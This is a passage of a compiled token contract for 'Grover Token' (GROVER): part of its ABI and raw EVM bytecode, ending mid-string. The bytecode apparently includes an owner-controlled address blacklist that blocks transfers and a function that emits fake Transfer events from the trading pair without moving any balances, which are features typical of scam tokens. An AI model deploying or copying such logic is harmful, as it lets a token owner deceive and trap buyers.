stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxnNum","type":"uint256"},{"internalType":"uint256","name":"newMaxWalletNum","type":"uint256"}],"name":"updateMaxWalletAndTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040523480156200001157600080fd5b5060405162005c6c38038062005c6c8339818101604052810190620000379190620009b1565b806040518060400160405280600c81526020017f47726f76657220546f6b656e00000000000000000000000000000000000000008152506040518060400160405280600681526020017f47524f56455200000000000000000000000000000000000000000000000000008152508160039081620000b5919062000c5d565b508060049081620000c7919062000c5d565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012b6200011f620003da60201b60201c565b620003e260201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d905062000158816001620004a860201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000600a905060008060289050600080620001ac6200059260201b60201c565b600a620001ba919062000ed4565b633b9aca00620001cb919062000f25565b9050620001dd6200059260201b60201c565b600a620001eb919062000ed4565b630bebc200620001fc919062000f25565b600a81905550620002126200059260201b60201c565b600a62000220919062000ed4565b6311e1a30062000231919062000f25565b600c81905550612710600a8262000249919062000f25565b62000255919062000f9f565b600b8190555083600e8190555084600f81905550600e54600f546200027b919062000fd7565b6010819055508160148190555082601381905550601454601354620002a1919062000fd7565b60128190555060125460118190555030600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000313620003056200059b60201b60201c565b6001620005c560201b60201c565b62000326306001620005c560201b60201c565b6200033b61dead6001620005c560201b60201c565b6200035d6200034f6200059b60201b60201c565b6001620004a860201b60201c565b62000370306001620004a860201b60201c565b6200038561dead6001620004a860201b60201c565b6001600d60006101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff021916908315150217905550620003cd3382620006ff60201b60201c565b505050505050506200116f565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620004b8620003da60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620004de6200087760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000537576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200052e9062001073565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005d5620003da60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620005fb6200087760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000654576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200064b9062001073565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620006f39190620010b2565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000768906200111f565b60405180910390fd5b62000785600083836200089360201b60201c565b806002600082825462000799919062000fd7565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620007f0919062000fd7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000857919062001152565b60405180910390a362000873600083836200089860201b60201c565b5050565b6000806200088a6200089d60201b60201c565b90508091505090565b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200091e57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000942565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000979826200094c565b9050919050565b6200098b816200096c565b81146200099757600080fd5b50565b600081519050620009ab8162000980565b92915050565b600060208284031215620009ca57620009c962000947565b5b6000620009da848285016200099a565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a6557607f821691505b60208210810362000a7b5762000a7a62000a1d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ae57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aa6565b62000af1868362000aa6565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000b3e62000b3862000b328462000b09565b62000b13565b62000b09565b9050919050565b6000819050919050565b62000b5a8362000b1d565b62000b7262000b698262000b45565b84845462000ab3565b825550505050565b600090565b62000b8962000b7a565b62000b9681848462000b4f565b505050565b5b8181101562000bbe5762000bb260008262000b7f565b60018101905062000b9c565b5050565b601f82111562000c0d5762000bd78162000a81565b62000be28462000a96565b8101602085101562000bf2578190505b62000c0a62000c018562000a96565b83018262000b9b565b50505b505050565b600082821c905092915050565b600062000c326000198460080262000c12565b1980831691505092915050565b600062000c4d838362000c1f565b9150826002028217905092915050565b62000c6882620009e3565b67ffffffffffffffff81111562000c845762000c83620009ee565b5b62000c90825462000a4c565b62000c9d82828562000bc2565b600060209050601f83116001811462000cd5576000841562000cc0578287015190505b62000ccc858262000c3f565b86555062000d3c565b601f19841662000ce58662000a81565b60005b8281101562000d0f5784890151825560018201915060208501945060208101905062000ce8565b8683101562000d2f578489015162000d2b601f89168262000c1f565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000dd25780860481111562000daa5762000da962000d44565b5b600185161562000dba5780820291505b808102905062000dca8562000d73565b945062000d8a565b94509492505050565b60008262000ded576001905062000ec0565b8162000dfd576000905062000ec0565b816001811462000e16576002811462000e215762000e57565b600191505062000ec0565b60ff84111562000e365762000e3562000d44565b5b8360020a91508482111562000e505762000e4f62000d44565b5b5062000ec0565b5060208310610133831016604e8410600b841016171562000e915782820a90508381111562000e8b5762000e8a62000d44565b5b62000ec0565b62000ea0848484600162000d80565b9250905081840481111562000eba5762000eb962000d44565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ee18262000b09565b915062000eee8362000ec7565b925062000f1d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ddb565b905092915050565b600062000f328262000b09565b915062000f3f8362000b09565b925082820262000f4f8162000b09565b9150828204841483151762000f695762000f6862000d44565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fac8262000b09565b915062000fb98362000b09565b92508262000fcc5762000fcb62000f70565b5b828204905092915050565b600062000fe48262000b09565b915062000ff18362000b09565b92508282019050808211156200100c576200100b62000d44565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200105b60208362001012565b9150620010688262001023565b602082019050919050565b600060208201905081810360008301526200108e816200104c565b9050919050565b60008115159050919050565b620010ac8162001095565b82525050565b6000602082019050620010c96000830184620010a1565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001107601f8362001012565b91506200111482620010cf565b602082019050919050565b600060208201905081810360008301526200113a81620010f8565b9050919050565b6200114c8162000b09565b82525050565b600060208201905062001169600083018462001141565b92915050565b608051614abe620011ae60003960008181610be9015281816130200152818161310101528181613128015281816131c401526131eb0152614abe6000f3fe6080604052600436106102295760003560e01c806375f0a87411610123578063bbc0c742116100ab578063d85ba0631161006f578063d85ba0631461083c578063dd62ed3e14610867578063e2f45605146108a4578063f2fde38b146108cf578063f8b45b05146108f857610230565b8063bbc0c74214610757578063c024666814610782578063c2b7bbb6146107ab578063c8c8ebe4146107d4578063d257b34f146107ff57610230565b80639a7a23d6116100f25780639a7a23d61461064c578063a457c2d714610675578063a64e4f8a146106b2578063a9059cbb146106dd578063b66392781461071a57610230565b806375f0a874146105a25780638da5cb5b146105cd57806395d89b41146105f8578063961883991461062357610230565b8063313ce567116101b15780636a486a8e116101755780636a486a8e146104cf5780636ddd1713146104fa57806370a0823114610525578063715018a6146105625780637571336a1461057957610230565b8063313ce567146103d6578063395093511461040157806349bd5a5e1461043e5780634fbee1931461046957806366ca9b83146104a657610230565b80631694505e116101f85780631694505e146102ef57806318160ddd1461031a57806323b872dd1461034557806326ededb81461038257806327c8f835146103ab57610230565b806302dbd8f81461023557806306fdde031461025e578063095ea7b3146102895780631186b8d8146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c600480360381019061025791906132da565b610923565b005b34801561026a57600080fd5b50610273610a16565b60405161028091906133aa565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061342a565b610aa8565b6040516102bd9190613485565b60405180910390f35b3480156102d257600080fd5b506102ed60048036038101906102e89190613531565b610ac6565b005b3480156102fb57600080fd5b50610304610be7565b60405161031191906135f0565b60405180910390f35b34801561032657600080fd5b5061032f610c0b565b60405161033c919061361a565b60405180910390f35b34801561035157600080fd5b5061036c60048036038101906103679190613635565b610c15565b6040516103799190613485565b60405180910390f35b34801561038e57600080fd5b506103a960048036038101906103a49190613688565b610d0d565b005b3480156103b757600080fd5b506103c0610e5e565b6040516103cd91906136f7565b60405180910390f35b3480156103e257600080fd5b506103eb610e64565b6040516103f8919061372e565b60405180910390f35b34801561040d57600080fd5b506104286004803603810190610423919061342a565b610e6d565b6040516104359190613485565b60405180910390f35b34801561044a57600080fd5b50610453610f19565b60405161046091906136f7565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b9190613749565b610f3f565b60405161049d9190613485565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c891906132da565b610f95565b005b3480156104db57600080fd5b506104e461107f565b6040516104f1919061361a565b60405180910390f35b34801561050657600080fd5b5061050f611085565b60405161051c9190613485565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190613749565b611098565b604051610559919061361a565b60405180910390f35b34801561056e57600080fd5b506105776110e0565b005b34801561058557600080fd5b506105a0600480360381019061059b9190613776565b611168565b005b3480156105ae57600080fd5b506105b761123f565b6040516105c491906136f7565b60405180910390f35b3480156105d957600080fd5b506105e2611265565b6040516105ef91906136f7565b60405180910390f35b34801561060457600080fd5b5061060d61128f565b60405161061a91906133aa565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906132da565b611321565b005b34801561065857600080fd5b50610673600480360381019061066e9190613776565b611505565b005b34801561068157600080fd5b5061069c6004803603810190610697919061342a565b611629565b6040516106a99190613485565b60405180910390f35b3480156106be57600080fd5b506106c7611714565b6040516106d49190613485565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff919061342a565b611727565b6040516107119190613485565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190613749565b611745565b60405161074e9190613485565b60405180910390f35b34801561076357600080fd5b5061076c61179b565b6040516107799190613485565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a49190613776565b6117ae565b005b3480156107b757600080fd5b506107d260048036038101906107cd9190613749565b6118d3565b005b3480156107e057600080fd5b506107e9611993565b6040516107f6919061361a565b60405180910390f35b34801561080b57600080fd5b50610826600480360381019061082191906137b6565b611999565b6040516108339190613485565b60405180910390f35b34801561084857600080fd5b50610851611aee565b60405161085e919061361a565b60405180910390f35b34801561087357600080fd5b5061088e600480360381019061088991906137e3565b611af4565b60405161089b919061361a565b60405180910390f35b3480156108b057600080fd5b506108b9611b7b565b6040516108c6919061361a565b60405180910390f35b3480156108db57600080fd5b506108f660048036038101906108f19190613749565b611b81565b005b34801561090457600080fd5b5061090d611c78565b60405161091a919061361a565b60405180910390f35b61092b611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610949611c86565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109969061386f565b60405180910390fd5b81601381905550806014819055506014546013546109bd91906138be565b60128190555060125460118190555060636012541115610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061393e565b60405180910390fd5b5050565b606060038054610a259061398d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a519061398d565b8015610a9e5780601f10610a7357610100808354040283529160200191610a9e565b820191906000526020600020905b815481529060010190602001808311610a8157829003601f168201915b5050505050905090565b6000610abc610ab5611c7e565b8484611c9a565b6001905092915050565b610ace611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610aec611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061386f565b60405180910390fd5b60005b83839050811015610be1578160076000868685818110610b6857610b676139be565b5b9050602002016020810190610b7d9190613749565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bd9906139ed565b915050610b45565b50505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000610c22848484611e63565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c6d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce490613aa7565b60405180910390fd5b610d0185610cf9611c7e565b858403611c9a565b60019150509392505050565b610d15611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610d33611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d809061386f565b60405180910390fd5b60005b83839050811015610e5857838382818110610daa57610da96139be565b5b9050602002016020810190610dbf9190613749565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e3d919061361a565b60405180910390a38080610e50906139ed565b915050610d8c565b50505050565b61dead81565b60006009905090565b6000610f0f610e7a611c7e565b848460016000610e88611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0a91906138be565b611c9a565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610f9d611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610fbb611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611011576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110089061386f565b60405180910390fd5b81600f8190555080600e81905550600e54600f5461102f91906138be565b6010819055506014601054111561107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290613b13565b60405180910390fd5b5050565b60125481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110e8611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611106611c86565b73ffffffffffffffffffffffffffffffffffffffff161461115c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111539061386f565b60405180910390fd5b611166600061289a565b565b611170611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661118e611c86565b73ffffffffffffffffffffffffffffffffffffffff16146111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db9061386f565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461129e9061398d565b80601f01602080910402602001604051908101604052809291908181526020018280546112ca9061398d565b80156113175780601f106112ec57610100808354040283529160200191611317565b820191906000526020600020905b8154815290600101906020018083116112fa57829003601f168201915b5050505050905090565b611329611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611347611c86565b73ffffffffffffffffffffffffffffffffffffffff161461139d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113949061386f565b60405180910390fd5b6113a5610e64565b600a6113b19190613c66565b6103e860056113be610c0b565b6113c89190613cb1565b6113d29190613d22565b6113dc9190613d22565b82101561141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141590613dc5565b60405180910390fd5b611426610e64565b600a6114329190613c66565b6103e8600561143f610c0b565b6114499190613cb1565b6114539190613d22565b61145d9190613d22565b81101561149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613e57565b60405180910390fd5b6114a7610e64565b600a6114b39190613c66565b600a6114bf9190613e77565b816114ca9190613cb1565b600c819055506114d8610e64565b600a6114e49190613c66565b600a6114f09190613e77565b826114fb9190613cb1565b600a819055505050565b61150d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661152b611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061386f565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611611576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160890613f34565b60405180910390fd5b61161b8282611168565b6116258282612960565b5050565b60008060016000611638611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec90613fc6565b60405180910390fd5b611709611700611c7e565b85858403611c9a565b600191505092915050565b600d60019054906101000a900460ff1681565b600061173b611734611c7e565b8484611e63565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900460ff1681565b6117b6611c7e565b73ffffffffffffffffffffffffffffffffffffffff166117d4611c86565b73ffffffffffffffffffffffffffffffffffffffff161461182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061386f565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516118c79190613485565b60405180910390a25050565b6118db611c7e565b73ffffffffffffffffffffffffffffffffffffffff166118f9611c86565b73ffffffffffffffffffffffffffffffffffffffff161461194f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119469061386f565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60006119a3611c7e565b73ffffffffffffffffffffffffffffffffffffffff166119c1611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e9061386f565b60405180910390fd5b620186a06001611a25610c0b565b611a2f9190613cb1565b611a399190613d22565b821015611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7290614058565b60405180910390fd5b6103e86005611a88610c0b565b611a929190613cb1565b611a9c9190613d22565b821115611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad5906140ea565b60405180910390fd5b81600b8190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b611b89611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611ba7611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf49061386f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639061417c565b60405180910390fd5b611c758161289a565b50565b600c5481565b600033905090565b600080611c91612a01565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d009061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f906142a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e56919061361a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec99061430c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3890614378565b60405180910390fd5b60008103611f5a57611f5583836000612aa9565b612895565b611f62611265565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fd05750611fa0611265565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120095750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612043575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561205c5750600860149054906101000a900460ff16155b1561239057600d60009054906101000a900460ff1661215657601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121165750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c906143e4565b60405180910390fd5b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121f95750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122a057600a54811115612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90614476565b60405180910390fd5b600c5461224f83611098565b8261225a91906138be565b111561229b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612292906144e2565b60405180910390fd5b61238f565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123435750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561238e57600a5481111561238d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238490614574565b60405180910390fd5b5b5b5b600061239b30611098565b90506000600b5482101590508080156123c05750600d60029054906101000a900460ff165b80156123d95750600860149054906101000a900460ff16155b801561242f5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124855750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124db5750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251f576001600860146101000a81548160ff021916908315150217905550612503612d28565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125d55750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125ed5750600d60019054906101000a900460ff16155b1561264e57600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561264957600080fd5b600090505b6000811561287c576001600d60016101000a81548160ff021916908315150217905550601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126cc57506000601254115b15612766576126f960646126eb60125488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b90506012546014548261270c9190613cb1565b6127169190613d22565b6016600082825461272791906138be565b925050819055506012546013548261273f9190613cb1565b6127499190613d22565b6015600082825461275a91906138be565b92505081905550612858565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127c157506000601054115b15612857576127ee60646127e060105488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b9050601054600e54826128019190613cb1565b61280b9190613d22565b6016600082825461281c91906138be565b92505081905550601054600f54826128349190613cb1565b61283e9190613d22565b6015600082825461284f91906138be565b925050819055505b5b600081111561286d5761286c873083612aa9565b5b80856128799190614594565b94505b612887878787612aa9565b601154601281905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612aa4565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f9061463a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e906146cc565b60405180910390fd5b612b92838383612f61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061475e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff